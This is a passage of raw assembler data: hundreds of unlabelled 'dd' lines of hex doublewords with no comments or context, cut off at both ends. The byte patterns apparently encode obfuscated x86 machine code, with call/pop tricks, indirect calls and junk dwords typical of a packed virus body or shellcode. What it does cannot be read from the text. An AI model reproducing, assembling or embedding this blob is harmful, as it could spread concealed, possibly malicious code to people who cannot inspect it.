61219BDh, 2953C033h dd 12184DBDh, 3C8B5B06h, 1D820F02h, 60000000h, 10E9h, 3C24A400h dd 0C6B49F57h, 0F50AA1E2h, 88CEDF62h, 0C58D23E4h, 61061226h dd 0EA05C781h, 7EB503EBh, 361EEF81h, 840F2A67h, 0 dd 4192F781h, 8D2B519Bh, 612098Dh, 6161BB57h, 48F7730h dd 89ADB102h, 122B0595h, 75E88106h, 60327840h, 34BD8589h dd 81610612h, 784071C0h, 58A0F32h, 66000000h, 1789F181h dd 8DF8F881h, 850FFFFFh, 0FFFFFF7Eh, 14E8h, 0B868CE00h dd 930AAF23h, 9F7F42Dh, 87F5D102h, 250D7ECDh, 8D8D5E1Bh dd 618EADAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 0C0C35747h, 0AB25DD0Eh, 5436B94Fh, 8E8h, 3B500800h dd 2A0F23Dh, 37BE66C2h, 9D0958CEh, 6121B79h, 9A18D89h dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0BD981EC3h, 585C793h, 50061205h, 1000067h dd 121B698Dh, 0D985C706h, 6121Bh, 66000000h, 0FF0C43B8h dd 122D69B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0FF1C79BDh, 121B3195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 2B2D30EFh, 1211C585h, 0FF006A06h, 1219CD95h, 0EBC08B06h dd 8C46B71Eh, 7F7BB25Eh, 7ECE7D44h, 8389B488h, 0D19C19F3h dd 5270BDCFh, 0A4E713h, 8D40A6C6h, 18EC1C8Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 89011A0Bh, 12039DB5h, 0A18D8906h, 6A061209h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 2B21C350h, 0B589DBA5h, 6120789h, 9498D09h, 85C70612h dd 6120505h, 6494h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0AEC35747h, 0A681D230h, 11E999h, 0DF280000h dd 7AAC6E74h, 6967E5E7h, 88AE33FFh, 8BE556C4h, 122BFD95h dd 0D985C706h, 6121Bh, 0E9000000h, 12h, 0C48A615Dh, 9EF31248h dd 0B456F546h, 7A50418Fh, 0B5FFF3C3h, 6122C81h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0C6C35040h, 0FE606FE1h dd 3195FFF8h, 6A06121Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0AC34C353h, 0B160B98h dd 298501E4h, 6A061216h, 0CD95FF00h, 8B061219h, 206DEBC0h dd 0F96A1082h, 533AB19Ch, 11992CA4h, 3291106Fh, 3C5E6EB6h dd 0FE52BD51h, 0B65D50FAh, 0E52F9B27h, 5427693Fh, 53DF443h dd 2B8CC93Fh, 0EF1BAD26h, 8860C9ABh, 8D1F3D76h, 2B5E176Dh dd 1AE22958h, 938873D2h, 0DEA94DABh, 7C077CDBh, 46046BB3h dd 90C39103h, 33057974h, 7AEEBCCCh, 8D2191F1h, 3E7019CFh dd 4AAF5C2h, 9570F6A7h, 0ED458D8Dh, 0BF0F0618h, 0A18D89C0h dd 0C7061209h, 12050585h, 710406h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 37963193h dd 0A5BD89D5h, 89061223h, 120261BDh, 0D985C706h, 6121Bh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 4FF6C356h, 95A243DAh, 893EFBB5h dd 12205995h, 0E99D3306h, 0FF061203h, 122A69B5h, 48C88106h dd 0FF65A3C4h, 121B3195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0F18BF7DFh dd 95FF006Ah, 61219CDh, 0EEBC08Bh, 1A64C247h, 9BFF4184h dd 91C7BA47h, 0FE8653Fh, 0F9000000h, 52DD3D7Ch, 8A0F85Eh dd 8A979267h, 9D23ACBAh, 61218E1h, 24C18159h, 6000005Bh dd 0E9DBB70Fh, 0Eh, 57148B9h, 0F83FEEFBh, 4B3878Bh, 0B86167CEh dd 169Bh, 0B589318Bh, 6120331h, 0ABFCF681h, 8D8948D2h dd 612104Dh, 7AD7C681h, 0EE815AC7h, 7BDC336Dh, 6A98D29h dd 31890612h, 83FFBF66h, 0F02E983h, 58Ah, 491BBF00h, 4949548Fh dd 99DB589h, 0F480612h, 1A85h, 0B99D8B00h, 0E9061203h dd 2Fh, 0BA16A8DBh, 89B37AA0h, 0B51F7500h, 0FD3B57Dh, 0E8Dh dd 9E900h, 0B0260000h, 3F3D560Ch, 0E92CF271h, 0FFFFFF84h dd 0AE947B51h, 0E8175EABh, 6, 8FA597F3h, 0BF0F5AA8h, 10E85ED1h dd 81000000h, 903FE0Dh, 0D2A678E6h, 378EDC67h, 0B96628BDh dd 40D98867h, 0D7C68159h, 66000072h, 140D981h, 0B8h, 0A9950900h dd 0FF06122Dh, 0C7813034h, 4A5AF171h, 59958B5Bh, 81061217h dd 43A23FC3h, 59B5892Eh, 81061216h, 5120B6EBh, 0CA8B667Bh dd 4AD1EB81h, 0BD8B6B1Bh, 6120429h, 0D5950153h, 8F061200h dd 958B0604h, 61228DDh, 7499529h, 0E8830612h, 81666003h dd 8BD981D2h, 122D1D9Dh, 9486106h, 120675BDh, 4F88106h dd 0FFFFF8Eh, 2085h, 6810F00h, 89000000h, 1200D5B5h, 29E906h dd 80730000h, 0C6CC9D0Eh, 856F6C4Ah, 0A8C5525Ah, 0A5BD8BD0h dd 0E9061215h, 0FFFFFF6Bh, 50708B33h, 0E21DFFB3h, 0DA7AC146h dd 8DA1AF80h, 18EFDC8Dh, 0C28B5106h, 0A18D895Eh, 6A061209h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 8CE3C350h, 9E8A5h, 0C9F70000h, 8C310934h dd 609E7BB3h, 0CD91D081h, 13E96C9Dh, 0CD000000h, 16C959CFh dd 2FA86AE9h, 0A8931748h, 847119BEh, 58618C96h, 50585C7h dd 59FC0612h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 4EDD01C3h, 232A9E2Fh, 12141185h dd 0C7FB8B06h, 121BD985h, 6, 95BD8900h, 0FF061206h, 120CD1B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 89B589B6h, 0FF061229h, 121B3195h, 48E0F06h dd 66000000h, 6ACF39BFh, 0CD95FF00h, 8B061219h, 5B69EBC0h dd 0FB66681Ch, 0D787DFB1h, 936610CEh, 127E98C9h, 92F0F99h dd 0B648486Ah, 0AF8478E4h, 857797A5h, 0F4EFD92h, 9794028Ah dd 4AC1364Ch, 9D2B390Dh, 0D9941C47h, 94768102h, 1838897Bh dd 0E0C92B55h, 1F9395Bh, 0F3C99C71h, 8E018C7Fh, 987C3E82h dd 6541EABBh, 2B5A5460h, 379AB084h, 3BA480A9h, 594BA251h dd 3EBAEC1Dh, 0BE8h, 0B0D49C00h, 0AB5CE4CAh, 0E6904A4h dd 5BFEBF0Fh, 8159F952h, 60E7C3h, 43BE6600h, 180B687Ah dd 665A0000h, 943AE681h, 0BE6633FFh, 8B58D447h, 1209B1BDh dd 62C08106h, 8B78FFFEh, 1214F5B5h, 73F08106h, 0F6C4D6Ch dd 0E881F9BFh, 0CEE2A98h, 14E857h, 3DA0000h, 0B7AB8D45h dd 9BC47B21h, 4782A1EAh, 36C1EA3Bh, 5F59D32Ch, 0B9B58950h dd 8F061212h, 6D8D3103h, 83061203h, 294B03EBh, 121D7D9Dh dd 1EA8106h, 0F000000h, 1285h, 0B1958900h, 0E9061234h dd 24h, 0D1F8A5F6h, 893D07F3h, 1206E9BDh, 0FF7AE906h, 0B695FFFFh dd 0E2EF9CEFh, 58A74630h, 5ACE4165h, 7207624Dh, 0CE8h dd 1CFBE300h, 1BF9C308h, 0DCBB2A5Bh, 0D6816682h, 8B591F68h dd 0F1C181D1h, 3100006Eh, 1207D1B5h, 1B89B806h, 5E80000h dd 35000000h, 0D6A6F456h, 92F68166h, 398B5B3Eh, 10A5B501h dd 0F7810612h, 70546C59h, 5BF3B757h, 3490EF81h, 8D0F0F7Fh dd 3, 813FF380h, 95638AEFh, 0D1B50977h, 57061201h, 8FF0B70Fh dd 61B58901h, 81061217h, 2FE8BAE9h, 11E867h, 2A0B0000h dd 8480C98Bh, 7F1EC877h, 0A65C71C1h, 0B7282B0Eh dd 0C1815A72h, 672FE8B6h, 19E98D29h, 0F480612h, 1E85h dd 6E800h, 0FB050000h, 8BF83FEEh, 2C09958Bh, 0E95E0612h dd 1Ah, 0B37F40DBh, 8BBAEEFCh, 0FF70E9DAh, 914EFFFFh, 675CC060h dd 3EA26276h, 7E8FD1Ch, 50000000h, 0A2DC5B95h, 81668FE8h dd 58C90DCEh, 0A753CE81h, 0C0815978h, 5A39h, 1C419509h dd 15B90612h, 81351633h, 16254CF1h, 0CE935h, 4A130000h dd 5067A6B7h, 0DF56EE20h, 30FFBF92h, 0DACA8166h, 0F9605F64h dd 7E8h, 7FF99F00h, 68894B72h, 615BD68Bh, 41B4C781h, 0CB812311h dd 160024B7h, 70A5C781h, 853156E9h, 6121501h, 60EEF81h dd 0DFB24137h, 0FD9D0B57h, 8F061219h, 85B53100h, 83061202h dd 81F904E8h, 1E9h, 1F850F00h, 0E9000000h, 0Bh, 6ADB9C9Bh dd 581D2D12h, 0E95D26DBh, 30h, 6471F949h, 69185C83h, 9E8DDDAh dd 1E000000h, 0F43CD313h, 76276B84h, 0C8DAD681h, 0E95A1AE4h dd 0FFFFFF6Eh, 10139558h, 60924635h, 8334FBFBh, 89A07582h dd 78146908h, 0BB8DA6DCh, 86363747h, 8635A12Eh, 18D92590h dd 5302548h, 941A2C99h, 23F2514h, 86302598h, 97D59807h dd 89302350h, 8630A1A5h, 0F7B5E390h, 0C8363760h, 863021CCh dd 0C4E76512h, 0C2BB75A1h, 86BB21A0h, 821461CBh, 8F85DA79h dd 0B3637BAh, 934F10CDh, 0DE0DA22h, 0F7B5E3E2h, 0C8363721h dd 8630216Ch, 0C4E76542h, 0C2BB7589h, 86BB21B4h, 821461C1h dd 6385DA7Ch, 0B363703h, 934F108Ch, 0DE0DA82h, 86209CBAh dd 8ED92521h, 20302590h, 863EA047h, 8D792524h, 76B52ADBh dd 6FCFDAF6h, 86302589h, 0CB85B8CFh, 83882333h, 79302590h dd 448DA8ABh, 0B363DD6h, 9EC3B49Fh, 0A3229D0Fh, 491BA3B4h dd 89A07582h, 78146908h, 0BB8DA6DCh, 86363747h, 8635A12Eh dd 18D92590h, 5302548h, 831A2C99h, 0A4F305E9h, 22B9h, 5B8D8D00h dd 6A0618F4h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 5233C356h, 12E8h, 45E2C200h, 0A33CB076h dd 4A4B0581h, 8A6E6AFFh, 0FC87CF3Bh, 8D895B5Ah, 61209A1h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0AEC35747h dd 0C28B6650h, 50585C7h, 655C0612h, 0B58B0000h, 6121869h dd 1BD985C7h, 612h, 95230000h, 6121581h, 1D2DB5FFh, 9D8B0612h dd 6120289h, 1B3195FFh, 0DA8B0612h, 63B86653h, 6A5EAAh dd 19CD95FFh, 0C08B0612h, 48116FEBh, 0A136EC59h, 0DCF75116h dd 0A6D6963Eh, 5C6B190h, 1C04694Ah, 206F21A3h, 0F1A71D7h dd 2AA38FA6h, 2DCAEB33h, 0F8069085h, 1B73D3B8h, 5B6F6265h dd 1E8C860Eh, 0FF17549Bh, 92804791h, 72B00C2Ah, 0E6A774A6h dd 1C4E783Eh, 2B2F81EDh, 0E60084FBh, 9A3725F1h, 46642E44h dd 586EA8E3h, 5CA94B52h, 0BAF30E7Eh, 4CC0709Bh, 4EEA6669h dd 21E93Eh, 0DEC90000h, 6744h, 6 dup(0) dd 0E9000000h, 87Ah, 0CAA1609h, 20BE281Ch, 38D63830h, 4EEC5248h dd 6301695Eh, 34299BF6h, 473E2ECCh, 5C5545E3h, 746E5EFCh dd 18797816h, 1FB7FA7h, 297B8E76h, 2D8D865Ch, 72350C3h dd 3F396FE9h, 0BFAE43E1h, 0F087924h, 9269FB1Ch, 0AA2C5F20h dd 2CBA4EB4h, 10EF5933h, 3066C62h, 0A91215ADh, 7376DED3h dd 0C4D5B21h, 0DB73EBC2h, 3CA49971h, 2F25FB9Eh, 4874C6C9h dd 35BAF596h, 13EB55EDh, 9E10BB19h, 200D9E5Ch, 6E953E6h dd 0F5F85650h, 714020D9h, 867B1977h, 0DE2FB52Fh, 7076h dd 1A0F1C00h, 5E9507B2h, 0D93D0DC3h, 157D726Ah, 1D12C8ABh dd 40340AB5h, 6D896CD6h, 1005D4B4h, 0BE150AA8h, 5D81D83h dd 45h, 0B21A0FABh, 0E50D7E07h, 5F6FE907h, 7853AB24h, 0DE2C2B09h dd 13409174h, 296FE9DBh, 16CCCF31h, 0F5B7BA20h, 3A2D9C7Ch dd 0F7ECBB9Bh, 160EE48Fh, 0F15BB1B4h, 4FAD073h, 0EBE59B9Eh dd 0C48BF58Dh, 2Bh, 0B21A0F72h, 0D8383107h, 1882ECE0h dd 7BAE435h, 651E6FE9h, 97A0385h, 6FE907E1h, 0BAC9EE8h dd 6A7E3DDDh, 9B9068D2h, 5C419533h, 282B8F86h, 0E0EB68D2h dd 1C45B661h, 2D69FB03h, 2E26DCDFh, 463E2ECCh, 6D6339E4h dd 5FBA9D07h, 0B92AD56Ch, 700D1300h, 2B8BB09h, 0EBA1A40Eh dd 358B8EF6h, 0DFE2463Dh, 0BB2A0AC3h, 0ADA37922h, 5C3CDD47h dd 9533958Dh, 0C738ADA5h, 6FE9139Fh, 1DC860AEh, 0A80F88ABh dd 0E9E10F37h, 3CD01E6Fh, 77131F8h, 0FC9BD324h, 44BD6FE9h dd 120CE264h, 0F4F75F54h, 0C49C069Eh, 78CC6ACCh, 82DE6D6Ah dd 150FEA04h, 15695BB7h, 1D86C30Ah, 43EAD5h, 5C900000h dd 73A62D3h, 0E0416FE9h, 0E907476Fh, 7008566Fh, 72C54C5h dd 0E5336FE9h, 7201FE7Bh, 0C3EB5C16h, 0CA6FE907h, 225C207Ch dd 31A2170Fh, 6FE90709h, 0D4CAC210h, 7D156B6Eh, 20195521h dd 20h, 7E6D6ACEh, 0CC222585h, 0BBB38934h, 5CB3EF59h, 0E907C3EBh dd 3A96246Fh, 170F225Ch, 195559B5h, 6357150Fh, 0D5E61F9h dd 6FED8873h, 9C6B4B02h, 0C39944A2h, 7FFD67CDh, 2F329A8Fh dd 191C8479h, 0E26444FDh, 0AEB1150Ch, 16F1C458h, 91E0E0A8h dd 0F25A4F27h, 0A0085F54h, 514FD821h, 0F5000000h, 0B4B7150Fh dd 4BBC5259h, 6FE90723h, 9944DC2Ah, 686BC9C3h, 941DA812h dd 5E61C9BEh, 822B9E08h, 8B69FB15h, 0B5BF8641h, 443D5FEAh dd 9B44CE4h, 89E70F80h, 0A8F675FBh, 47FE5B3Eh, 1A0FE567h dd 767048B2h, 65D77A18h, 1D830CD4h, 0A8E44E6Fh, 0CB7150Fh dd 7EA1283h, 0A3F16FE9h, 4B4EB6ABh, 4DA88BF5h, 173FB05Eh dd 2D6FE907h, 7BD1D434h, 0EB962E7Ch, 0FB1F217Ah, 7C1A6869h dd 3134928Ch, 0AD8595E0h, 694900F1h, 0B91711E7h, 1EF660B6h dd 921BC624h, 4979F921h, 48B200F2h, 82E0DACAh, 4640167Fh dd 258FE5E8h, 731EA5A8h, 0D842A69Dh, 8D13DC4Dh, 0E56EEC5Bh dd 5B754C74h, 0D0553F4h, 6C4BB513h, 75729A0Bh, 2B79F45Bh dd 0D8DB3933h, 0F84CEA82h, 82DE6D6Ah, 150FEA04h, 0EA5C5BB7h dd 2698D9E1h, 313653DAh, 0BCD61h, 2478F660h, 1D86C30Ah dd 38EAD5h, 6A900000h, 5C82DE6Dh, 0E907C3EBh, 52481E6Fh dd 55A382ECh, 77DFD4AAh, 0B923897Fh, 0F225C7Dh, 810AB517h dd 0E907E810h, 0A208FE6Fh, 0FC4A499Fh, 19555692h, 3820h dd 6D6ACE00h, 865C82DEh, 0D52B2E8Ch, 1B85E3DDh, 7F71F90h dd 0D2606FE9h, 0F225C76h, 810AB517h, 0E907E810h, 5349F76Fh dd 0FC94EAEDh, 0CA555692h, 22556B58h, 0A50FA862h, 0B7150F69h dd 87C963B4h, 0FDB46FEDh, 0F6544E1Dh, 0B736858h, 0D4C99F08h dd 352A026Ch, 1215736Dh, 52124BCh, 0A89D6C4Ch, 0C8BF9540h dd 0B6AB6164h, 0CE4CB64Eh, 21FB82D9h, 49C9D8h, 0F6F0000h dd 59B4B715h, 4E24CF52h, 38A29654h, 0DD47DF35h, 0FA57C952h dd 0F7F0B1E6h, 0B1C639A3h, 5069FB4Dh, 0EBA2FF02h, 2417890Bh dd 91FBEFDBh, 0A8A4388Eh, 0B526D1EEh, 75FB328Dh, 0CE44E9Ch dd 4E54B812h, 22427511h, 0F98EC8Ah, 0FF5D5715h, 0B0EA6FCh dd 7B26BDB0h, 75981F2h, 72676FE9h, 0C5BD0B0Ah, 76016BCDh dd 0FB1D4C05h, 842F7D69h, 21628AFBh, 1B6975FBh, 0BA9033B1h dd 45A5DC5h, 865C5E9Ah, 3B312991h, 127CD2D5h, 0AD099895h dd 150FEA04h, 62FA6257h, 0A156906h, 0D51D86C3h, 6CEAh dd 736B4100h, 0F004BF15h, 0D76FE4C6h, 0C2281ED4h, 67D169BFh dd 90865C2Bh, 4643C02Ah, 76E76257h, 6FE9074Eh, 0DF770F5Dh dd 0C3EB5C83h, 1E6FE907h, 0D5F0B8ACh, 6ED84993h, 71ECE18Fh dd 0E99BD800h, 199E76Fh, 0EA5448FEh, 390FBA52h, 88DEE13Fh dd 225CE21Eh, 31A2170Fh, 6FE90709h, 0BABD1F17h, 7F176564h dd 20195523h, 31h, 0DE6D6ACEh, 0C3EB5C82h, 246FE907h, 6F98369Ah dd 23BBF388h, 62D35CC7h, 6FE9073Ah, 0FE89F341h, 0B5170FC4h dd 41CA5559h, 0E907A8D0h, 0FF69B76Fh, 0B7150FC3h, 87C963B4h dd 655B6FEDh, 837ED403h, 7D151F62h, 6BCBC47Ah, 241A1268h dd 9E57BBBEh, 0FB04FBEh, 0DADD4339h, 34928C84h, 0D071DB31h dd 0C92721F0h, 83413B2Bh, 8F922A8Ah, 0FFAA3934h, 14AE0476h dd 243873DBh, 0F15247BAh, 0A5F369FFh, 8C5588FAh, 3F551604h dd 42B457D5h, 5DA31AF2h, 21160EC7h, 6A134FB9h, 21897E6Dh dd 9B042D89h, 6ACEC5h, 91865CC4h, 77DA516h, 3E8C6FE9h dd 0C93AA3A6h, 6FE907A1h, 58C25AA8h, 0A4158680h, 6FE9077Ch dd 15003983h, 7105C37h, 697BD76Fh, 86C30A15h, 2DEAD51Dh dd 41000000h, 71F47B8h, 0E02E6CE9h, 6D6A3A76h, 0EB5C82DEh dd 6FE907C3h, 5C207CCAh, 0B5170F22h, 20195559h, 35h, 4DB3A97Fh dd 4E8AF44Ah, 82DE6D6Ah, 5892EA5Ch, 70A1C7C3h, 0E20A7B06h dd 436FE983h, 225C59B5h, 3A62D35Ch, 486FE907h, 91E7EA54h dd 2DA4492h, 554CA80Ah, 0B7150F19h, 87C963B4h, 0FDB46FEDh dd 0F6544E1Dh, 0D443B558h, 0D3FB6CF5h, 0DA6FED32h, 54DFF88Ch dd 4E48208Ah, 4BBC45F0h, 6FED9023h, 8F72DC2Ah, 0FFAA3934h dd 0FFAED98Eh, 0FC9AE869h, 298B8359h, 2A66D026h, 82DE6D6Ah dd 150FEA04h, 15695BB7h, 1D86C30Ah, 962698D5h, 1BE3C741h dd 26F12A94h, 97000000h, 847E6D6Ah, 35CD2326h, 0C3EB5CD9h dd 0CA6FE907h, 225C207Ch, 5B55170Fh, 0CA4FAFDh, 201955B0h dd 4Dh, 0DE6D6ACEh, 4AD35C82h, 0E907B1D9h, 739B0C6Fh, 7A6FE907h dd 75DF2D2Ch, 0E907DA02h, 299A3B6Fh, 6FE90701h, 0E043BE08h dd 2EF17BFAh, 0AE640296h, 4B05715h, 225C106Ch, 0AB5170Fh dd 7E81081h, 0A9F76FE9h, 865C033Fh, 31C32D8Dh, 0B7150FF5h dd 0CF5259B4h, 203EB324h, 81CF69FBh, 0A60800D6h, 65E34DA3h dd 9B46DDD0h, 40B322Ah, 88FD970h, 30163F2Ah, 0F0A6A941h dd 0AFA98F6h, 7E07B210h, 0F3F4E50Dh, 3CA6F46Fh, 867EF059h dd 0B3C3B7C4h, 5B970A74h, 710EBF8Ch, 5A10137Dh, 3BFD0062h dd 0D177E2C2h, 0C35E868Ch, 33D4730Bh, 0EC0ABBC1h, 1C861ED3h dd 0D2CC9B7Bh, 0ECE6D674h, 0DFD58B8Eh, 601F7679h, 2F28FE80h dd 7C14786Fh, 615A24E8h, 8EF89C4Bh, 0B35EBCB6h, 0FF70E5DDh dd 0D13F50D7h, 960098E6h, 0D02E2818h, 0F28CDh, 95D60000h dd 0DB3F340Ah, 0FB9218DDh, 0AC16AEE0h, 0B01C0F70h, 9FFDF7ADh dd 8DEDE69Ch, 79DDD48Ah, 63CBC076h, 4DB5AA60h, 389E944Ah dd 25877F35h dd 0E786C22h, 54554D0Bh, 4C5815Dh, 83000000h, 2C8704EDh dd 0EF685C24h, 8900000Ch, 0EC812404h, 4, 81241C89h, 4ECh dd 24348900h, 330DA7BEh, 46F68143h, 0C141700Fh, 0EE8107EEh dd 0F9EB910Bh, 545EF089h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h dd 438F2404h, 241C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h dd 0FF5C243Ch, 83582434h, 8EE904C4h, 59FFF982h, 0F8B844F2h dd 30618FCh, 0DE0FFC5h, 0F13A2542h, 23996B1h, 0A900E46Eh dd 0A5096756h, 0A10F1431h, 0AB468DA9h, 0EB05FDD7h, 826222B1h dd 0B94C6298h, 0A30B24C6h, 0AC2FDB67h, 59667EEEh, 3814D6E4h dd 483E839Ch, 8651CEA9h, 96502F97h, 0EE3A369Dh, 2C1F26D5h dd 0AB45476Fh, 0D4368796h, 3159998Eh, 913BDF04h, 0E8496BBDh dd 0Eh, 0B1EE9535h, 61C56554h, 0C8EF22E2h, 0FE8A5B66h dd 0E381665Fh, 0C781C151h, 6D63h, 75E28166h, 67BBB859h dd 0F0813F70h, 3F707C94h, 0EE8h, 0DEC99100h, 1E3BDB7Bh dd 6AFC4FC8h, 80AF97ADh, 0FF5BEEC3h, 0CE95937h, 33000000h dd 46248676h, 541493A3h, 8185619Eh, 227CB9C1h, 0D18B6663h dd 0C90DC181h, 11E9486Ch, 7B000000h, 748FA1A1h, 0C1C76A5Eh dd 92938169h, 0DD5ABECBh, 0E6A6F181h, 0DE8A7461h, 81665251h dd 5E3C44D2h, 860F078Fh, 2, 0EF83DC8Ah, 4FDB8104h, 484ADCB0h dd 0FF9D850Fh, 0BCBBFFFFh, 0E8708522h, 5, 0BF0755FCh, 0AE9E9h dd 0A36E0000h, 33712E7Bh, 0FC4DFF8h, 17800F5Ah, 0E9000000h dd 12h, 4A53800Eh, 0DE6A8FF7h, 3FBA4F56h, 0CB7D5B54h, 0C2813A33h dd 62CEh, 0D881C933h, 0E9B8FC4h, 660A348Bh, 0C681FB8Bh dd 702C308Bh, 0FE9h, 6EB24300h, 4F0492A2h, 0A307C978h dd 87A2B5A2h, 4FB5EE81h, 0C6812E63h, 4DAF2911h, 2840Fh dd 0FB30000h, 800F5656h, 4, 0E05B866h, 0A048F5Fh, 4B98B866h dd 76C6CB81h, 0E983495Eh, 81666004h, 6643EEE8h, 9593E881h dd 10F98161h, 0FFFFF9Eh, 1285h, 33E9F900h, 38000000h, 0D5926D76h dd 3825D80Eh, 0E9BAEF84h, 0Eh, 1F4286ECh, 0F0A010B8h, 14257CC1h dd 6DE9F556h, 6FFFFFFFh, 44508B53h, 0CF308ACh, 0C98B2A0Bh dd 8D8D8480h, 6190038h, 2D65858Bh, 0B70F0612h, 0A18D89FEh dd 6A061209h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0B71FC353h, 294377E5h, 8589D8EBh dd 6122A31h, 50585C7h, 60340612h, 58BB0000h, 0C76370BAh dd 121BD985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 0E793845Ch, 0D381D124h dd 0FB2F8B0h, 1B85B5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 523CB1C3h, 2D8C4B47h dd 5160EEE7h, 5BC78B66h, 16BEBF66h, 3195FF61h, 5306121Bh dd 2919D8Bh, 6A5E0612h, 0CD95FF00h, 8B061219h, 7628EBC0h dd 8BCC3068h, 117FEE3Bh, 0FB26D115h, 63047671h, 341D7130h dd 0AC9C53Dh, 5AB7DE6Dh, 1300772Ch, 81BDA6ADh, 8DF73E9Fh dd 1901448Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 63952812h, 34373F53h, 8D89EAEFh dd 61221A1h, 989997BFh, 0A18D8942h, 6A061209h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 2A07C356h, 0BE09ABAFh, 5890F88h, 66000000h, 0AF80E081h dd 50585C7h, 66B40612h, 0B50B0000h, 6120941h, 1BD985C7h dd 612h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 4CA5C2C3h, 11F5335Ch, 3ED68166h dd 2DB5FFA6h, 0F506121Dh, 95FF7EB3h, 6121B31h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FFC35242h, 6A92AFDBh dd 0CD95FF00h, 8B061219h, 0A36FEBC0h, 88EC8B5Fh, 33B68142h dd 640F4837h, 1D911551h, 8290E14h, 1AD93C26h, 0A9A81467h dd 1EA16E23h, 0F891F696h, 0D3A3069Dh, 37CF6B0Ch, 0D20927C4h dd 46747780h, 0D146F2F3h, 1FABD5B1h, 4F70706Bh, 0C54FE734h dd 431CA4C3h, 91199EFCh, 83C90C99h, 0EA2B20B3h, 0A44CADD1h dd 752945D7h, 1F40BBFEh, 0FBD4C596h, 0E46095FFh, 7087B272h dd 8D8D9E9Ch, 61902CDh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0E8C35242h, 0B99531F8h, 8906121Eh, 1209A18Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 12BE5334h, 0A74BE0D9h, 14E59D8Bh, 85C70612h dd 6120505h, 7018h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0B9C35545h, 0F6818C1Dh, 153EEF55h, 1BD985C7h dd 612h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 48656C3h, 1D7B48F3h, 0D58D8946h dd 0FF061222h, 122D69B5h, 0D9858B06h, 66061219h, 0FFCBF5BBh dd 121B3195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 49EE3D7Fh, 88CFF61Ch, 68F0FAFh, 89000000h dd 121FE9BDh, 0F18B6606h, 6870Fh, 95890000h, 6120345h dd 95FF006Ah, 61219CDh, 1EEBC08Bh, 1B2FF190h, 0FA3ED861h dd 0EE12A590h, 28F6EFF0h, 0FADB8C59h, 0E9E6A80Bh, 0C4C85DDAh dd 10E8FE16h, 0E7000000h, 0AA05E64Ch, 0DFBB4B74h, 4EFC1321h dd 0F9BC59B8h, 0FBB70F58h, 5AC2C081h, 8E680000h, 0F9000016h dd 81666059h, 8B3B89EBh, 188B61F3h, 0B802B0BAh, 90EB8105h dd 0E81D2433h, 5, 0F4E7E393h, 0F2816681h, 815E8399h, 1600E9EBh dd 6850F3Eh, 8B000000h, 121B35BDh, 0DCC38106h, 0F913FF88h dd 95031889h, 6121FFDh, 0F655E881h, 8D296161h, 6122365h dd 0F651C081h, 958B6161h, 612162Dh, 0A3850F49h, 8BFFFFFFh dd 123509B5h, 278D8D06h, 89061904h, 1226BDB5h, 14E906h dd 0AAAD0000h, 0ACAECF6Ch, 4892FEBAh, 5C51CD80h, 27CC0C06h dd 8D8949C1h, 61209A1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 9CC35141h, 6E9h, 9F4B7800h, 0C70B5218h dd 12050585h, 647806h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0FEBF0F33h, 1BD985C7h dd 612h, 0B70F0000h, 0B9B5FFDEh, 8A06122Dh, 3195FFE7h dd 0F06121Bh, 180h, 6AF900h, 19CD95FFh, 0C08B0612h, 3E1E4FEBh dd 0C6FE86E0h, 0DCD3B304h, 5E258EBAh, 0D16AB829h, 4531A2Dh dd 47413C6Eh, 0E68D0EF0h, 173DBE64h, 0E0B2D52Eh, 784338EAh dd 2BF3B51Dh, 0C7F511DFh, 6D94D052h, 58686EB8h, 0A2977ABCh dd 0D15B7821h, 0B767D38Ch, 640B963Dh, 0CE91548Dh, 10E86Ah dd 0CC6B0000h, 8E9194F4h, 4AE4F892h, 1CBD03D2h, 8166562Ah dd 